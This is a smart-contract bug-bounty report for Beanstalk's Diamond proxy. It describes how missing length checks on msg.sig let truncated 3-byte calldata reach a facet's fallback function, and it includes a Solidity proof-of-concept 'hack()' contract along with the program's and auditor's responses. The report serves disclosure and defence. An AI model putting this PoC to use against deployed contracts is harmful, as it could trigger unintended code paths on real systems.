Beanstalk Notion
Beanstalk Notion
📄

Report #12420

Report Date
October 14, 2022
Status
Closed
Payout

Bypassing the Diamond proxy facet registry

‣
Report Info

Report ID

#12420

Target

https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5

Report type

Smart Contract

Impacts

Contract fails to deliver promised returns, but doesn't lose value

Has PoC?

Yes

Bug Description

There is fallback function in a Diamond contract that performs a delegatecall on facet address. Here is the way how the facet address is calculated:

address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;

But msg.sig does not have any check that the message data contains at least 4 bytes under the hood. Especially, this will fill the missing bytes with null values. So, using msg.sig without a check on its length leads to an incorrect key for reading from selectorToFacetAndPosition mapping.

I have'n seen the facet with fallback with current deployed diamond, hovewer it can be added later. All in all, IMO the problem described above just fits the description "Contract fails to deliver promised returns, but doesn't lose value" and should be considered as a medium severity.

Attack scenario

  • Diamond proxy has one selector that ends with one zero byte, like 0x11223300.
  • This facet has a fallback function.
  • It is not expected that someone can call this fallback, since the diamond hasn't been set zero selectors is a valid one.

Then it is possible to call the diamond proxy with 0x112233 calldata, please notice that calldata size is 3 and msg.sig == 0x11223300, it is how Solidity works. So the diamond proxy will find a facet and make a dellegatecall to the address of facet. Finally, the facet will not recognize 0x112233 as a function selector and will execute the fallback.

Recommended Mitigation Steps

Consider adding an additional check on the length of message data to enforce that it has at least 4 bytes.

Proof of concept

// SPDX-License-Identifier: MIT OR Apache-2.0

pragma experimental ABIEncoderV2;
pragma solidity =0.7.6;

import "https://github.com/BeanstalkFarms/Beanstalk/blob/master/protocol/contracts/farm/Diamond.sol";

contract TestFacet {
    enum LastEnteredFunction {
        None, 
        test946,
        fallbackFunction
    }

    LastEnteredFunction public lastEnteredFunction;

    function getLastEnteredFunction() external view returns (LastEnteredFunction) {
        return lastEnteredFunction;
    }

    // bytes4(keccak256("test946()")) = 0xb72f9600
    function test946() external {
        lastEnteredFunction = LastEnteredFunction.test946;
    }
    
    fallback() external {
        lastEnteredFunction = LastEnteredFunction.fallbackFunction;
    }
}

contract PoC {
    address public diamond;

    constructor() {
        diamond = address(new Diamond(address(this)));
        TestFacet testFacet = new TestFacet();

        _initializeDiamond(testFacet);
    }

    // Add test facet to the diamond proxy
    function _initializeDiamond(TestFacet testFacet) internal {
        bytes4[] memory selectors = new bytes4[](2);
        selectors[0] = TestFacet.test946.selector;
        selectors[1] = TestFacet.getLastEnteredFunction.selector;
        
        IDiamondCut.FacetCut[] memory diamondCut = new IDiamondCut.FacetCut[](1);
        diamondCut[0] = IDiamondCut.FacetCut({facetAddress: address(testFacet), action: IDiamondCut.FacetCutAction.Add, functionSelectors:selectors});

        DiamondCutFacet(diamond).diamondCut(diamondCut, address(0), "");
    }

    // Vulnerability
    function hack() external {
        // No function has been called yet
        require(TestFacet(diamond).getLastEnteredFunction() == TestFacet.LastEnteredFunction.None);
        
        // Call the function with truncated signature
        bytes3 truncattedSignature = bytes3(TestFacet.test946.selector);
        (bool s, ) = address(diamond).call(abi.encodePacked(truncattedSignature));
        require(s);

        // Check last entered function
        require(TestFacet(diamond).getLastEnteredFunction() == TestFacet.LastEnteredFunction.fallbackFunction);
    }
}

BIC Response

This is not a security bug report because there is currently no facet with a fallback function.

Due to this reason, we are closing the submission and no reward will be issued.

Halborn Response

this is actually true but it is present already in every Diamond proxy as the Diamond proxy code does not really validate msg.sig length that being said, currently there is no facet with a fallback function and I don't really see why you would want to add one so its a bit your choice what to do here. I would say that if you consider adding any facets with a fallback function in the future you should add this check
image